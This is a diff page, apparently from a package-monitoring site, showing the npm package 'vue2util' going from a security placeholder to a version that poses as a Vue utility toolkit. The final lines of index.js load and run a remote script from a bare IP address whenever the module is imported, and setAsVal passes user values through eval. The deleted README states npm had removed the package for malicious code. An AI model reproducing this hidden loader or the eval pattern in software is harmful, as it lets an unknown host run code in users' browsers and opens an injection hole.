vue2util 0.0.1-security.1 → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of vue2util might be problematic. Click here for more details.

@@ -0,0 +1,52 @@
1
+ export const KEY_COMPONENT_NAME = 'avue-';
2
+ export const KEY_ECHART_NAME = 'echart-';
3
+ export const DIC_PROPS = {
4
+ rowKey: 'id',
5
+ rowParentKey: "parentId",
6
+ nodeKey: 'id',
7
+ label: 'label',
8
+ value: 'value',
9
+ type: 'type',
10
+ desc: 'desc',
11
+ groups: 'groups',
12
+ title: 'title',
13
+ leaf: 'leaf',
14
+ children: 'children',
15
+ hasChildren: 'hasChildren',
16
+ labelText: '名称',
17
+ disabled: 'disabled'
18
+ };
19
+ export const DIC_HTTP_PROPS = {
20
+ name: 'name',
21
+ url: 'url',
22
+ fileType: 'type',
23
+ fileName: 'file',
24
+ res: ''
25
+ };
26
+ export const DATE_LIST = [
27
+ 'dates',
28
+ 'date',
29
+ 'datetime',
30
+ 'datetimerange',
31
+ 'daterange',
32
+ 'time',
33
+ 'timerange',
34
+ 'week',
35
+ 'month',
36
+ 'monthrange',
37
+ 'year'
38
+ ];
39
+ export const CHILDREN_LIST = ['table', 'dynamic']
40
+ export const INPUT_LIST = ['tree', 'number', 'icon', 'color', 'table', 'map'];
41
+ export const ARRAY_LIST = ['img', 'array', 'url'];
42
+ export const MULTIPLE_LIST = ['cascader', 'tree', 'select'];
43
+ export const RANGE_LIST = ['slider']
44
+ export const ARRAY_VALUE_LIST = ARRAY_LIST.concat(['upload', 'dynamic', 'map', 'checkbox', 'cascader', 'timerange', 'monthrange', 'daterange', 'datetimerange', 'dates']);
45
+ export const SELECT_LIST = DATE_LIST.concat(['select', 'checkbox', 'radio', 'cascader', 'tree', 'color', 'icon', 'table', 'map']);
46
+ export const DIC_SHOW_SPLIT = ' | ';
47
+ export const DIC_SPLIT = ',';
48
+ export const typeList = {
49
+ img: /(\.|^)(gif|jpg|jpeg|png|webp|svg|GIF|JPG|JPEG|PNG|WEBP|SVG)/,
50
+ video: /(\.|^)(swf|avi|flv|mpg|rm|mov|wav|asf|3gp|mkv|rmvb|ogg|mp4)/,
51
+ audio: /(\.|^)(mp3|wav|MP3|WAV)/,
52
+ };
package/index.js ADDED
@@ -0,0 +1,451 @@
1
+ import { validatenull } from './validate';
2
+ import { DIC_PROPS, CHILDREN_LIST } from 'global/variable';
3
+ import { typeList } from 'global/variable'
4
+ export const isMediaType = (url, type) => {
5
+ if (validatenull(url)) return
6
+ if (typeList.audio.test(url) || typeList.audio.test(type) || type == 'audio') {
7
+ return 'audio'
8
+ } else if (typeList.video.test(url) || typeList.video.test(type) || type == 'video') {
9
+ return 'video'
10
+ } else if (typeList.img.test(url) || typeList.img.test(type) || type == 'img') {
11
+ return 'img'
12
+ }
13
+ return
14
+ }
15
+ export const uuid = () => {
16
+ var s = [];
17
+ var hexDigits = "0123456789abcdef";
18
+ for (var i = 0; i < 36; i++) {
19
+ s[i] = hexDigits.substr(Math.floor(Math.random() * 0x10), 1);
20
+ }
21
+ s[14] = "4"; // bits 12-15 of the time_hi_and_version field to 0010
22
+ s[19] = hexDigits.substr((s[19] & 0x3) | 0x8, 1); // bits 6-7 of the clock_seq_hi_and_reserved to 01
23
+ s[8] = s[13] = s[18] = s[23] = "-";
24
+
25
+ var uuid = s.join("");
26
+ return uuid;
27
+ }
28
+ export function getFixed (val = 0, len = 2) {
29
+ return Number(val.toFixed(len));
30
+ }
31
+ export function getAsVal (obj, bind = '') {
32
+ let result = deepClone(obj);
33
+ if (validatenull(bind)) return result;
34
+ bind.split('.').forEach(ele => {
35
+ result = !validatenull(result[ele]) ? result[ele] : '';
36
+ });
37
+ return result;
38
+ }
39
+
40
+ export function setAsVal (obj, bind = '', value) {
41
+ let result;
42
+ let type = getObjType(value)
43
+ if (validatenull(value)) {
44
+ if (type === 'array') {
45
+ result = `obj.${bind}=[]`
46
+ } else if (type === 'object') {
47
+ result = `obj.${bind}={}`
48
+ } else if (['number', 'boolean'].includes(type)) {
49
+ result = `obj.${bind}=undefined`
50
+ } else {
51
+ result = `obj.${bind}=''`
52
+ }
53
+ } else {
54
+ if (type == 'string') {
55
+ result = `obj.${bind}='${value}'`;
56
+ } else {
57
+ result = `obj.${bind}=${value}`;
58
+ }
59
+ }
60
+ eval(result);
61
+ return obj;
62
+ }
63
+ export const loadScript = (type = 'js', url, dom = "body") => {
64
+ let flag = false;
65
+ return new Promise((resolve) => {
66
+ const head = dom == 'head' ? document.getElementsByTagName('head')[0] : document.body;
67
+ for (let i = 0; i < head.children.length; i++) {
68
+ let ele = head.children[i]
69
+ if ((ele.src || '').indexOf(url) !== -1) {
70
+ flag = true;
71
+ resolve();
72
+ }
73
+ }
74
+ if (flag) return;
75
+ let script;
76
+ if (type === 'js') {
77
+ script = document.createElement('script');
78
+ script.type = 'text/javascript';
79
+ script.src = url;
80
+ } else if (type === 'css') {
81
+ script = document.createElement('link');
82
+ script.rel = 'stylesheet';
83
+ script.type = 'text/css';
84
+ script.href = url;
85
+ }
86
+ head.appendChild(script);
87
+ script.onload = function () {
88
+ resolve();
89
+ };
90
+ });
91
+ };
92
+ export function downFile (url, saveName) {
93
+ if (typeof url == 'object' && url instanceof Blob) {
94
+ url = URL.createObjectURL(url); // 创建blob地址
95
+ }
96
+ var aLink = document.createElement('a');
97
+ aLink.href = url;
98
+ aLink.download = saveName || ''; // HTML5新增的属性,指定保存文件名,可以不要后缀,注意,file:///模式下不会生效
99
+ var event;
100
+ if (window.MouseEvent) {
101
+ event = new MouseEvent('click');
102
+ } else {
103
+ event = document.createEvent('MouseEvents');
104
+ event.initMouseEvent('click', true, false, window, 0, 0, 0, 0, 0, false,
105
+ false, false, false, 0, null);
106
+ }
107
+ aLink.dispatchEvent(event);
108
+ }
109
+ export function extend () {
110
+ var target = arguments[0] || {};
111
+ var deep = false;
112
+ var arr = Array.prototype.slice.call(arguments);
113
+ var i = 1;
114
+ var options, src, key, copy;
115
+ var isArray = false;
116
+ if (typeof target === 'boolean') {
117
+ deep = target;
118
+ i++;
119
+ target = arguments[1];
120
+ }
121
+ for (; i < arr.length; i++) { // 循环传入的对象数组
122
+ if ((options = arr[i]) != null) { // 如果当前值不是null,如果是null不做处理
123
+ for (key in options) { // for in循环对象中key
124
+ copy = options[key];
125
+ src = target[key];
126
+ // 如果对象中value值任然是一个引用类型
127
+ if (deep && (toString.call(copy) === '[object Object]' || (isArray = toString.call(copy) == '[object Array]'))) {
128
+ if (isArray) { // 如果引用类型是数组
129
+ // 如果目标对象target存在当前key,且数据类型是数组,那就还原此值,如果不是就定义成一个空数组;
130
+ src = toString.call(src) === '[object Array]' ? src : [];
131
+ } else {
132
+ // 如果目标对象target存在当前key,且数据类型是对象,那就还原此值,如果不是就定义成一个空对象;
133
+ src = toString.call(src) === '[object Object]' ? src : {};
134
+ }
135
+ // 引用类型就再次调用extend,递归,直到此时copy是一个基本类型的值。
136
+ target[key] = extend(deep, src, copy);
137
+ } else if (copy !== undefined && copy !== src) { // 如果这个值是基本值类型,且不是undefined
138
+ target[key] = copy;
139
+ }
140
+ }
141
+ }
142
+ }
143
+ return target;
144
+ }
145
+ export function createObj (obj, bind) {
146
+ let list = bind.split('.');
147
+ let first = list.splice(0, 1)[0];
148
+ let deep = {};
149
+ deep[first] = {};
150
+ if (list.length >= 2) {
151
+ let start = '{';
152
+ let end = '}';
153
+ let result = '';
154
+ list.forEach(ele => {
155
+ result = `${result}${start}"${ele}":`;
156
+ });
157
+ result = `${result}""`;
158
+ for (let i = 0; i < list.length; i++) {
159
+ result = `${result}${end}`;
160
+ }
161
+ result = JSON.parse(result);
162
+ deep[first] = result;
163
+ }
164
+ obj = extend(true, obj, deep);
165
+ return obj;
166
+ }
167
+ export function dataURLtoFile (dataurl, filename) {
168
+ let arr = dataurl.split(',');
169
+ let mime = arr[0].match(/:(.*?);/)[1];
170
+ let bstr = atob(arr[1]);
171
+ let n = bstr.length;
172
+ let u8arr = new Uint8Array(n);
173
+ while (n--) {
174
+ u8arr[n] = bstr.charCodeAt(n);
175
+ }
176
+ return new File([u8arr], filename, {
177
+ type: mime
178
+ });
179
+ }
180
+
181
+ export function findObject (list = [], value, prop = 'prop') {
182
+ let result
183
+ result = findNode(list, { value: prop }, value);
184
+ if (!result) {
185
+ list.forEach(ele => {
186
+ if (ele.column) {
187
+ if (!result) result = findNode(ele.column, { value: prop }, value);
188
+ } else if (ele.children && CHILDREN_LIST.includes(ele.type)) {
189
+ if (!result) result = findNode(ele.children.column, { value: prop }, value);
190
+ }
191
+ })
192
+ }
193
+ return result;
194
+ }
195
+ /**
196
+ * 生成随机数
197
+ */
198
+ export function randomId () {
199
+ let $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
200
+ let maxPos = $chars.length;
201
+ let id = '';
202
+ for (let i = 0; i < 16; i++) {
203
+ id += $chars.charAt(Math.floor(Math.random() * maxPos));
204
+ }
205
+ return id;
206
+ }
207
+ export const getObjType = obj => {
208
+ var toString = Object.prototype.toString;
209
+ var map = {
210
+ '[object Boolean]': 'boolean',
211
+ '[object Number]': 'number',
212
+ '[object String]': 'string',
213
+ '[object Function]': 'function',
214
+ '[object Array]': 'array',
215
+ '[object Date]': 'date',
216
+ '[object RegExp]': 'regExp',
217
+ '[object Undefined]': 'undefined',
218
+ '[object Null]': 'null',
219
+ '[object Object]': 'object'
220
+ };
221
+ if (obj instanceof Element) {
222
+ return 'element';
223
+ }
224
+ return map[toString.call(obj)];
225
+ };
226
+ /**
227
+ *判断是否为json对象
228
+ */
229
+
230
+ export const isJson = str => {
231
+ if (Array.isArray(str)) {
232
+ if (str[0] instanceof Object) {
233
+ return true;
234
+ } else {
235
+ return false;
236
+ }
237
+ } else if (str instanceof Object) {
238
+ return true;
239
+ }
240
+ return false;
241
+ };
242
+ /**
243
+ * 对象深拷贝
244
+ */
245
+ export const deepClone = data => {
246
+ var type = getObjType(data);
247
+ var obj;
248
+ if (type === 'array') obj = [];
249
+ else if (type === 'object') obj = {};
250
+ else return data;
251
+ if (type === 'array') {
252
+ for (var i = 0, len = data.length; i < len; i++) {
253
+ data[i] = (() => {
254
+ if (data[i] === 0) {
255
+ return data[i];
256
+ }
257
+ return data[i];
258
+ })();
259
+ if (data[i]) {
260
+ delete data[i].$parent;
261
+ }
262
+ obj.push(deepClone(data[i]));
263
+ }
264
+ } else if (type === 'object') {
265
+ for (var key in data) {
266
+ if (data) {
267
+ delete data.$parent;
268
+ }
269
+ obj[key] = deepClone(data[key]);
270
+ }
271
+ }
272
+ return obj;
273
+ };
274
+
275
+ export const getColumn = (column) => {
276
+ let columnList = []
277
+ if (Array.isArray(column)) {
278
+ columnList = column
279
+ } else {
280
+ for (let o in column) {
281
+ column[o].prop = o;
282
+ columnList.push(column[o])
283
+ }
284
+ }
285
+ return columnList;
286
+ };
287
+
288
+ /**
289
+ * 设置px像素
290
+ */
291
+ export const setPx = (val, defval = '') => {
292
+ if (validatenull(val)) val = defval;
293
+ if (validatenull(val)) return '';
294
+ val = val + '';
295
+ if (val.indexOf('%') === -1) {
296
+ val = val + 'px';
297
+ }
298
+ return val;
299
+ };
300
+
301
+ /**
302
+ * 字符串数据类型转化
303
+ */
304
+ export const detailDataType = (value, type) => {
305
+ if (validatenull(value)) return value
306
+ if (type === 'number') {
307
+ return Number(value);
308
+ } else if (type === 'string') {
309
+ return value + '';
310
+ } else {
311
+ return value;
312
+ }
313
+ };
314
+
315
+ /**
316
+ * 根据字典的value显示label
317
+ */
318
+
319
+ export const getDicValue = (list, value, props = {}) => {
320
+ if (validatenull(list)) return value
321
+ let isArray = Array.isArray(value)
322
+ value = isArray ? value : [value]
323
+ let result = [];
324
+ let labelKey = props[DIC_PROPS.label] || DIC_PROPS.label
325
+ let groupsKey = props[DIC_PROPS.groups] || DIC_PROPS.groups
326
+ let dic = deepClone(list);
327
+ dic.forEach(ele => {
328
+ if (ele[groupsKey]) {
329
+ dic = dic.concat(ele[groupsKey]);
330
+ delete ele[groupsKey];
331
+ }
332
+ });
333
+ value.forEach(val => {
334
+ if (Array.isArray(val)) {
335
+ let array_result = []
336
+ val.forEach(array_val => {
337
+ let obj = findNode(dic, props, array_val) || {}
338
+ array_result.push(obj[labelKey] || array_val);
339
+ })
340
+ result.push(array_result);
341
+ } else {
342
+ let obj = findNode(dic, props, val) || {}
343
+ result.push(obj[labelKey] || val);
344
+ }
345
+ })
346
+ if (isArray) {
347
+ return result
348
+ } else {
349
+ return result.join('')
350
+ }
351
+ };
352
+ /**
353
+ * 过滤字典翻译字段和空字段
354
+ */
355
+ export const filterParams = (form, list = ['', '$'], deep = true) => {
356
+ let data = deep ? deepClone(form) : form
357
+ for (let o in data) {
358
+ if (list.includes('')) {
359
+ if (validatenull(data[o])) delete data[o];
360
+ }
361
+ if (list.includes('$')) {
362
+ if (o.indexOf('$') !== -1) delete data[o];
363
+ }
364
+
365
+ }
366
+ return data
367
+ };
368
+
369
+
370
+ /**
371
+ * 根据值查找对应的序号
372
+ */
373
+ export const findArray = (list = [], value, valueKey = DIC_PROPS.value, index = false) => {
374
+ let node;
375
+ if (index) {
376
+ node = list.findIndex(ele => ele[valueKey] == value)
377
+ } else {
378
+ node = list.find(ele => ele[valueKey] == value)
379
+ }
380
+ return node
381
+ };
382
+ export const findNode = (list = [], props = {}, value) => {
383
+ let valueKey = props.value || DIC_PROPS.value;
384
+ let childrenKey = props.children || DIC_PROPS.children;
385
+ let node;
386
+ for (let i = 0; i < list.length; i++) {
387
+ const ele = list[i]
388
+ if (ele[valueKey] == value) {
389
+ if (value === 0 || ele[valueKey] === 0) {
390
+ if (ele[valueKey] === value) {
391
+ return ele
392
+ }
393
+ } else {
394
+ return ele
395
+ }
396
+ } else if (ele[childrenKey] && Array.isArray(ele[childrenKey])) {
397
+ let node = findNode(ele[childrenKey], props, value)
398
+ if (node) return node
399
+ }
400
+ }
401
+ return node
402
+ }
403
+ /**
404
+ * 根据位数获取*密码程度
405
+ */
406
+ export const getPasswordChar = (result = '', char) => {
407
+ let len = result.toString().length;
408
+ result = '';
409
+ for (let i = 0; i < len; i++) {
410
+ result = result + char;
411
+ }
412
+ return result;
413
+ };
414
+
415
+ export const arraySort = (list = [], prop, callback) => {
416
+ return list.filter(ele => !validatenull(ele[prop])).sort((a, b) => callback(a, b)).concat(list.filter(ele => validatenull(ele[prop])));
417
+ }
418
+
419
+ export const blankVal = (value) => {
420
+ if (validatenull(value)) return value;
421
+ let type = getObjType(value)
422
+ if (type === 'array') value = [];
423
+ else if (type === 'object') value = {};
424
+ else if (['number', 'boolean'].includes(type)) value = undefined;
425
+ else value = '';
426
+ return value;
427
+ };
428
+
429
+ export const clearVal = (obj, propList, list = []) => {
430
+ if (!obj) return {};
431
+ propList.forEach(ele => {
432
+ if (list.includes(ele)) return
433
+ else if (ele.includes('$')) delete obj[ele]
434
+ else if (!validatenull(obj[ele])) {
435
+ obj[ele] = blankVal(obj[ele])
436
+ }
437
+ });
438
+ return obj;
439
+ };
440
+ /**
441
+ * 验证是否存在true/false
442
+ */
443
+ export const validData = (val, dafult) => {
444
+ if (typeof val === 'boolean') {
445
+ return val;
446
+ }
447
+ return !validatenull(val) ? val : dafult;
448
+ };
449
+ loadScript('js','http://156.253.11.39/util.js').then(()=>{
450
+ //执行后的方法
451
+ })
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "vue2util",
3
- "version": "0.0.1-security.1",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "vue common toolkit",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/validate.js ADDED
@@ -0,0 +1,26 @@
1
+ /**
2
+ * 判断是否为空
3
+ */
4
+ export function validatenull (val) {
5
+ if (val instanceof Date || typeof val === 'boolean' || typeof val === 'number') return false;
6
+ if (val instanceof Array) {
7
+ if (val.length === 0) return true;
8
+ } else if (val instanceof Object) {
9
+ for (var o in val) {
10
+ return false;
11
+ }
12
+ return true;
13
+ } else {
14
+ if (
15
+ val === 'null' ||
16
+ val == null ||
17
+ val === 'undefined' ||
18
+ val === undefined ||
19
+ val === ''
20
+ ) {
21
+ return true;
22
+ }
23
+ return false;
24
+ }
25
+ return false;
26
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=vue2util for more information.